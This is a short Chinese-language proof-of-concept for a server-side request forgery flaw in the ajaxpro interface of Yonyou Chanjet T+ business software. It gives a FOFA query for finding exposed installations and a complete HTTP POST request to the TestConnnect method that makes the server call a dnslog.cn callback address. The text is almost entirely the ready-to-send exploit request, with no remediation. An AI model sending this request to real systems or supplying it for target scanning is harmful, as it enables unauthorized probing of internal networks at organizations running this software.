用友畅捷通-TPlus系统接口ajaxpro存在ssrf漏洞 fofa app="畅捷通-TPlus" poc POST /tplus/ajaxpro/Ufida.T.SM.UIP.UA.AddressSettingController,Ufida.T.SM.UIP.ashx?method=TestConnnect HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: ASP.NET_SessionId=sfzg0pgxvld3ltgimecqkjg4; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1721822405; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1721822415; HMACCOUNT=AFE08148BD092161 Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Type: application/x-www-form-urlencoded Content-Length: 36 { "address":"ftlhbc.dnslog.cn" }